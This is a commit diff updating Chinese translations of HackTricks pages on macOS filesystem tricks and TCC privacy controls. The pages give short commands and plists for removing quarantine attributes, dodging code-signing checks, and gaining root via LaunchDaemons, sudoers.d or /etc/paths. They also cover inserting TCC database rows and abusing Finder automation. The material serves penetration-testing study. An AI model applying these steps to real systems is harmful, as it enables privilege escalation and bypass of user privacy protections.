Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2023-12-27 01:57:04 +00:00
parent b6cb868dd3
commit a0261f37eb
2 changed files with 146 additions and 89 deletions

View file

@ -1,50 +1,52 @@
# macOS文件系统技巧 # macOS FS 技巧
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您在**网络安全公司**工作,想在**HackTricks**中看到您的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。** * **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details> </details>
## POSIX权限组合 ## POSIX 权限组合
**目录**中的权限: **目录**中的权限:
* **读取** - 你可以**枚举**目录条目 * **读取** - 您可以**列举**目录条目
* **写入** - 你可以**删除/写入**目录中的文件 * **写入** - 您可以在目录中**删除/写入** **文件**,并且可以**删除空文件夹**。&#x20;
* **执行** - 你被**允许遍历**目录 - 如果你没有这个权限,你无法访问其中的任何文件,或者任何子目录中的文件。 * 但是您**无法删除/修改非空文件夹**,除非您对其有写入权限。
* 您**无法修改文件夹的名称**,除非您拥有它。
* **执行** - 您被**允许遍历**目录 - 如果您没有这个权限,您无法访问其中的任何文件,或任何子目录中的文件。
### 危险组合 ### 危险组合
如何覆盖由root拥有的文件/文件夹,但 **如何覆盖由root拥有的文件/文件夹**,但:
* 路径中的一个父**目录所有者**是用户 * 路径中的一个父**目录所有者**是用户
* 路径中的一个父**目录所有者**是有**写入权限**的**用户组** * 路径中的一个父**目录所有者**是有**写入权限**的**用户组**
* 一个用户**组**对**文件**有**写入**权限 * 一个用户**组**对**文件**有**写入**权限
使用上述任何组合,攻击者可以通过在预期路径中**注入**一个**符号/硬链接**来获得特权任意写入。 有了以上任何一种组合,攻击者可以**注入**一个**符号/硬链接**到预期路径,以获得特权的任意写入。
### 文件夹根目录 R+X 特殊情况 ### 文件夹root R+X特殊情况
如果一个**目录**中有**只有root具有R+X访问权限**的文件,那么其他人是**无法访问**这些文件的。因此,如果存在一个漏洞,允许将一个由用户可读但由于该**限制**而无法读取的文件从这个文件夹**移动到另一个文件夹**,则可以滥用该漏洞来读取这些文件。 如果一个**目录**中有文件,**只有root有R+X权限**,那么其他人**无法访问**这些文件。因此,如果存在一个漏洞允许**移动用户可读的文件**,但由于该**限制**而无法读取的文件,从这个文件夹**移动到另一个文件夹**,可能会被滥用来读取这些文件。
示例:[https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions) 示例[https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
## 符号链接 / 硬链接 ## 符号链接 / 硬链接
如果一个特权进程正在写入**文件**,该文件可能由**权限较低的用户**控制,或者可能由权限较低的用户**先前创建**。用户可以通过符号链接或硬链接将其指向另一个文件,特权进程将在该文件上写入。 如果一个特权进程正在向**文件**写入数据,而这个文件可能被**低权限用户控制**,或者可能被低权限用户**预先创建**。用户可以通过符号链接或硬链接**指向另一个文件**,特权进程将在该文件上写入。
在其他部分中查看攻击者可以**滥用任意写入来提升权限**的地方 在其他部分检查攻击者如何**滥用任意写入来提升权限**
## .fileloc ## .fileloc
具有**`.fileloc`**扩展名的文件可以指向其他应用程序或二进制文件,因此当打开它们时,将执行该应用程序/二进制文件。\ 带有**`.fileloc`**扩展名的文件可以指向其他应用程序或二进制文件,所以当它们被打开时,将执行该应用程序/二进制文件。\
示例: 示例:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
@ -60,19 +62,19 @@
``` ```
## 任意文件描述符 ## 任意文件描述符
如果你能让一个进程以高权限打开一个文件或文件夹,你可以滥用 `crontab` 来使用 `EDITOR=exploit.py` 打开 `/etc/sudoers.d` 中的一个文件,这样 `exploit.py` 将获取到 `/etc/sudoers` 中文件的文件描述符并滥用它。 如果你能让一个**进程以高权限打开一个文件或文件夹**,你可以滥用**`crontab`**,通过设置**`EDITOR=exploit.py`**来打开`/etc/sudoers.d`中的文件,这样`exploit.py`就能获取到`/etc/sudoers`文件内的文件描述符,并滥用它。
例如:[https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098) 例如:[https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
## 避免隔离 xattrs 的技巧 ## 绕过隔离属性技巧
### 除它 ### 除它
```bash ```bash
xattr -d com.apple.quarantine /path/to/file_or_app xattr -d com.apple.quarantine /path/to/file_or_app
``` ```
### uchg / uchange / uimmutable 标志 ### uchg / uchange / uimmutable 标志
如果一个文件/文件夹具有这个不可变属性,就无法在其上放置 xattr。 如果一个文件/文件夹具有这个不可变属性,将无法在其上添加 xattr
```bash ```bash
echo asd > /tmp/asd echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd" chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
@ -84,7 +86,7 @@ ls -lO /tmp/asd
``` ```
### defvfs 挂载 ### defvfs 挂载
**devfs** 挂载**不支持 xattr**,更多信息请参考 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) **devfs** 挂载**不支持 xattr**,更多信息 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
```bash ```bash
mkdir /tmp/mnt mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt" mount_devfs -o noowners none "/tmp/mnt"
@ -93,9 +95,9 @@ mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol' xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
``` ```
### 写入扩展属性访问控制列表ACL ### writeextattr ACL
此ACL防止向文件添加`xattrs` 此ACL防止向文件添加`xattrs`
```bash ```bash
rm -rf /tmp/test* rm -rf /tmp/test*
echo test >/tmp/test echo test >/tmp/test
@ -118,13 +120,13 @@ ls -le /tmp/test
``` ```
### **com.apple.acl.text xattr + AppleDouble** ### **com.apple.acl.text xattr + AppleDouble**
**AppleDouble**文件格式会复制包括ACEs在内的文件 **AppleDouble** 文件格式会复制文件及其访问控制条目ACEs
在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中,可以看到存储在名为**`com.apple.acl.text`**的xattr中的ACL文本表示将被设置为解压后文件的ACL。因此如果您将应用程序压缩为使用**AppleDouble**文件格式的zip文件并且该ACL阻止其他xattr写入它...则隔离xattr不会设置到应用程序中: 在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 内的 ACL 文本表示将被设置为解压缩文件的 ACL。因此如果你将一个应用程序压缩成带有防止其他 xattrs 被写入的 ACL 的 **AppleDouble** 文件格式的 zip 文件...隔离 xattr 没有被设置到应用程序中:
有关更多信息,请查看[**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)。 查看[**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)获取更多信息
要复制此操作首先需要获取正确的acl字符串: 要复制这个我们首先需要获取正确的 acl 字符串:
```bash ```bash
# Everything will be happening here # Everything will be happening here
mkdir /tmp/temp_xattrs mkdir /tmp/temp_xattrs
@ -142,9 +144,9 @@ ditto -c -k del test.zip
ditto -x -k --rsrc test.zip . ditto -x -k --rsrc test.zip .
ls -le test ls -le test
``` ```
请注意即使这样做沙盒也会在此之前写入隔离的xattr (请注意,即使这样做,沙盒在之前也会写入隔离 xattr)
虽然不是必需的,但我还是把它放在这里以防万一: 虽然不是必须的,但我还是保留在这里,以防万一:
{% content-ref url="macos-xattr-acls-extra-stuff.md" %} {% content-ref url="macos-xattr-acls-extra-stuff.md" %}
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md) [macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
@ -152,9 +154,9 @@ ls -le test
## 绕过代码签名 ## 绕过代码签名
Bundle包含文件**`_CodeSignature/CodeResources`**,其中包含**bundle**中每个**文件**的**哈希值**。请注意CodeResources的哈希值也**嵌入在可执行文件**中,因此我们不能对其进行更改 包含文件 **`_CodeSignature/CodeResources`** 的包,其中包含了包内每个**文件**的**哈希值**。注意CodeResources 的哈希值也被**嵌入到可执行文件中**,所以我们也不能干扰它
然而,有些文件的签名不会被检查这些文件在plist中有omit键例如 然而,有些文件的签名不会被检查,这些文件在 plist 中有 omit 键,例如:
```xml ```xml
<dict> <dict>
... ...
@ -198,18 +200,28 @@ Bundle包含文件**`_CodeSignature/CodeResources`**,其中包含**bundle**中
... ...
</dict> </dict>
``` ```
可以使用以下命令行计算资源的签名: ```bash
codesign -d --verbose=4 /path/to/resource
```
{% endcode %}
这可以通过命令行界面计算资源的签名:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
codesign -d --verbose=4 /path/to/resource
```
{% endcode %}
```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64 openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
``` ```
## 挂载DMG {% endcode %}
用户可以挂载自定义的DMG甚至可以覆盖一些现有的文件夹。以下是创建包含自定义内容的自定义DMG包的方法 ## 挂载 dmg 文件
```overflow="wrap" 即使在一些现有文件夹之上,用户也可以挂载一个自定义的 dmg 文件。以下是您如何创建一个带有自定义内容的自定义 dmg 包:
```
{% code overflow="wrap" %}
```bash ```bash
# Create the volume # Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
@ -234,15 +246,15 @@ hdiutil create -srcfolder justsome.app justsome.dmg
## 任意写入 ## 任意写入
### 定期 sh 脚本 ### 定期 sh 脚本
如果你的脚本可以被解释为一个 **shell 脚本**,你可以覆盖 **`/etc/periodic/daily/999.local`** shell 脚本,该脚本将每天触发一次 如果你的脚本可以被解释为一个**shell 脚本**,你可以覆盖**`/etc/periodic/daily/999.local`** shell 脚本,它将每天被触发
你可以使用以下命令**伪造**执行该脚本**`sudo periodic daily`** 你可以用以下命令**伪造**这个脚本的执行**`sudo periodic daily`**
### 守护进程 ### 守护进程
写一个任意的 **LaunchDaemon** **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**,其中包含一个执行任意脚本的 plist 文件,例如: 写一个任意的**LaunchDaemon**,如**`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**,它执行一个任意脚本,例如:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -259,17 +271,18 @@ hdiutil create -srcfolder justsome.app justsome.dmg
</dict> </dict>
</plist> </plist>
``` ```
只需生成脚本`/Applications/Scripts/privesc.sh`其中包含您想以root身份运行的**命令**。 ```markdown
只需生成脚本 `/Applications/Scripts/privesc.sh` 并写入您希望以 root 身份运行的**命令**。
### Sudoers文件 ### Sudoers 文件
如果您具有**任意写入权限**,可以在**`/etc/sudoers.d/`**文件夹中创建一个文件,授予自己**sudo**权限。 如果您具有**任意写入**权限,您可以在 **`/etc/sudoers.d/`** 文件夹内创建一个文件,为自己授予 **sudo** 权限。
### PATH文件 ### PATH 文件
文件**`/etc/paths`**是填充PATH环境变量的主要位置之一。您必须是root才能覆盖它但如果来自**特权进程**的脚本正在执行一些**没有完整路径的命令**,您可能可以通过修改此文件来**劫持**它。 文件 **`/etc/paths`** 是填充 PATH 环境变量的主要位置之一。您必须是 root 才能覆盖它,但如果一个**特权进程**的脚本正在执行某些**没有完整路径的命令**,您可能可以通过修改此文件来**劫持**它。
您还可以在**`/etc/paths.d`**中写文件,将新文件夹加载到`PATH`环境变量中。 &#x20;您还可以在 **`/etc/paths.d`** 中写文件,将新文件夹加载到 `PATH` 环境变量中。
## 参考资料 ## 参考资料
@ -279,10 +292,11 @@ hdiutil create -srcfolder justsome.app justsome.dmg
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) * 您在**网络安全公司**工作吗? 您想在 **HackTricks** 中看到您的**公司广告**吗? 或者您想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF** 查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com) * 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧** * 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR **分享您的黑客技巧**
</details> </details>
```

View file

@ -4,9 +4,9 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您在**网络安全公司**工作,想在**HackTricks**中看到您的**公司广告**,或者想要访问**最新版本的PEASS或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。** * **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
@ -40,11 +40,11 @@ ps -ef | grep tcc
* 系统范围的数据库位于 **`/Library/Application Support/com.apple.TCC/TCC.db`**。 * 系统范围的数据库位于 **`/Library/Application Support/com.apple.TCC/TCC.db`**。
* 该数据库受到 **SIP 保护**,因此只有 SIP 绕过才能写入它。 * 该数据库受到 **SIP 保护**,因此只有 SIP 绕过才能写入它。
* 用户 TCC 数据库 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** 用于每个用户的偏好设置 * 针对每个用户偏好设置的用户 TCC 数据库 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**。
* 该数据库受保护,因此只有具有高级 TCC 权限的进程(如完全磁盘访问)才能写入它(但它不受 SIP 保护)。 * 该数据库受保护,因此只有具有高级 TCC 权限(如完全磁盘访问)的进程才能写入它(但它不受 SIP 保护)。
{% hint style="warning" %} {% hint style="warning" %}
上述数据库也**受 TCC 保护以限制读取访问**。因此,除非是来自具有 TCC 权限的进程,否则您**无法读取**您的常规用户 TCC 数据库。 上述数据库也**受 TCC 保护以限制读取访问**。因此,除非是来自具有 TCC 权限的进程,否则您**无法读取**常规用户 TCC 数据库。
然而,请记住,具有这些高权限的进程(如 **FDA****`kTCCServiceEndpointSecurityClient`**)将能够写入用户的 TCC 数据库。 然而,请记住,具有这些高权限的进程(如 **FDA****`kTCCServiceEndpointSecurityClient`**)将能够写入用户的 TCC 数据库。
{% endhint %} {% endhint %}
@ -59,7 +59,7 @@ ps -ef | grep tcc
{% endhint %} {% endhint %}
{% hint style="info" %} {% hint style="info" %}
**通知中心 UI** 可以在系统 TCC 数据库中进行**更改** **通知中心 UI** 可以对系统 TCC 数据库进行**更改**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -123,7 +123,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{% endtabs %} {% endtabs %}
{% hint style="success" %} {% hint style="success" %}
检查这两个数据库,你可以检查应用程序已允许、已禁止或没有的权限(它会请求权限)。 检查这两个数据库,您可以检查应用程序已允许、已禁止或没有的权限(它将请求权限)。
{% endhint %} {% endhint %}
* **`service`** 是 TCC **权限**的字符串表示形式 * **`service`** 是 TCC **权限**的字符串表示形式
@ -171,7 +171,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
</dict> </dict>
</plist> </plist>
``` ```
<details> </details>
* **`auth_value`** 可以有不同的值denied(0), unknown(1), allowed(2), 或 limited(3)。 * **`auth_value`** 可以有不同的值denied(0), unknown(1), allowed(2), 或 limited(3)。
* **`auth_reason`** 可以取以下值Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) * **`auth_reason`** 可以取以下值Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
@ -196,7 +196,7 @@ echo "X'$REQ_HEX'"
您还可以在 `系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件与文件夹` 中检查**已授予应用程序的权限**。 您还可以在 `系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件与文件夹` 中检查**已授予应用程序的权限**。
{% hint style="success" %} {% hint style="success" %}
用户 _可以_ 使用 **`tccutil`** **删除或查询规则**&#x20; 用户_可以_使用 **`tccutil`** **删除或查询规则**&#x20;
{% endhint %} {% endhint %}
#### 重置 TCC 权限 #### 重置 TCC 权限
@ -234,9 +234,9 @@ csreq -t -r /tmp/telegram_csreq.bin
应用程序**不仅需要** **请求**并已被**授予访问**某些资源的权限,它们还需要**具有相关的权限**。\ 应用程序**不仅需要** **请求**并已被**授予访问**某些资源的权限,它们还需要**具有相关的权限**。\
例如,**Telegram** 有权限 `com.apple.security.device.camera` 来请求**访问摄像头**。一个**没有**这个**权限的应用程序将无法**访问摄像头(用户甚至不会被询问权限)。 例如,**Telegram** 有权限 `com.apple.security.device.camera` 来请求**访问摄像头**。一个**没有**这个**权限的应用程序将无法**访问摄像头(用户甚至不会被询问权限)。
然而,对于应用程序来说,要**访问**某些用户文件夹,如 `~/Desktop`、`~/Downloads` 和 `~/Documents`,它们**不需要**具有任何特定的**权限**。系统将透明地处理访问并在需要时**提示用户**。 然而,对于应用程序来说,要**访问**某些**用户文件夹**,如 `~/Desktop`、`~/Downloads` 和 `~/Documents`,它们**不需要**具有任何特定的**权限**。系统将透明地处理访问并在需要时**提示用户**。
苹果的应用程序**不会生成提示**。它们在其**权限**列表中包含**预先授予的权利**,这意味着它们将**永远不会生成弹出窗口****也不**出现在任何**TCC 数据库中**。例如: 苹果的应用程序**不会生成提示**。它们包含在其**权限**列表中的**预先授予的权利**,这意味着它们将**永远不会生成弹出窗口****也不**出现在任何**TCC 数据库中**。例如:
```bash ```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app codesign -dv --entitlements :- /System/Applications/Calendar.app
[...] [...]
@ -258,12 +258,12 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
### 敏感的未受保护地方 ### 敏感的未受保护地方
* $HOME本身 * $HOME本身
* $HOME/.ssh$HOME/.aws 等 * $HOME/.ssh, $HOME/.aws 等
* /tmp * /tmp
### 用户意图 / com.apple.macl ### 用户意图 / com.apple.macl
如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。这种访问不会在任何TCC数据库中指定而是作为文件的**扩展属性**。此属性将**存储允许应用程序的UUID** 如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。这种访问不会在任何TCC数据库中指定而是作为文件的**扩展** **属性**。此属性将**存储**允许应用程序的UUID
```bash ```bash
xattr Desktop/private.txt xattr Desktop/private.txt
com.apple.macl com.apple.macl
@ -279,18 +279,18 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
``` ```
{% hint style="info" %} {% hint style="info" %}
值得注意的是,**`com.apple.macl`** 属性是由 **Sandbox** 管理,而不是 tccd。 值得注意的是,**`com.apple.macl`** 属性是由 **Sandbox** 管理,而不是 tccd。
另外请注意,如果您将允许计算机中某个应用的 UUID 的文件移动到另一台计算机,因为相同的应用将有不同的 UIDs它不会授予那个应用访问权限。 另外请注意,如果您将允许计算机中某个应用的 UUID 的文件移动到另一台计算机,因为相同的应用将有不同的 UIDs它不会授予那个应用访问权限。
{% endhint %} {% endhint %}
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它受到 **SIP** 的保护。然而,正如[**这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),通过**压缩**文件、**删除**它然后**解压**,可以禁用它。 扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它受到 **SIP** 的保护。然而,正如[**这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),通过对文件进行**压缩****删除**然后**解压**,可以禁用它。
## TCC 权限提升与绕过 ## TCC 权限提升与绕过
### 插入到 TCC ### 插入到 TCC
如果您在某个时刻设法获得了对 TCC 数据库的写入权限,您可以使用类似以下的方法添加一个条目(移除注释): 如果您在某个时刻设法获得了对 TCC 数据库的写入权限,您可以使用类似以下的方法添加一个条目(移除注释):
<details> <details>
@ -336,16 +336,16 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
``` ```
</details> </details>
### 自动化到FDA\* ### 自动化 (Finder) FDA\*
TCC中自动化权限的名称是:**`kTCCServiceAppleEvents`**\ TCC 权限的自动化权限名称是:**`kTCCServiceAppleEvents`**\
这个特定的TCC权限还指出了可以在TCC数据库中管理的**应用程序**(所以权限并不允许管理所有内容)。 这个特定的 TCC 权限还表明了可以在 TCC 数据库中管理的**应用程序**(所以权限并不是允许管理所有东西)。
**Finder**是一个**总是拥有FDA**的应用程序即使它没有出现在UI中),所以如果你拥有对它的**自动化**权限,你可以滥用它的权限来**让它执行一些操作**。\ **Finder** 是一个**始终拥有 FDA** 的应用程序(即使它没有出现在 UI 中),所以如果你拥有对它的**自动化**权限,你可以滥用它的权限来**让它执行一些操作**。\
在这种情况下,你的应用程序需要对**`com.apple.Finder`**的**`kTCCServiceAppleEvents`**权限。 在这种情况下,你的应用程序需要对 **`com.apple.Finder`** **`kTCCServiceAppleEvents`** 权限。
{% tabs %} {% tabs %}
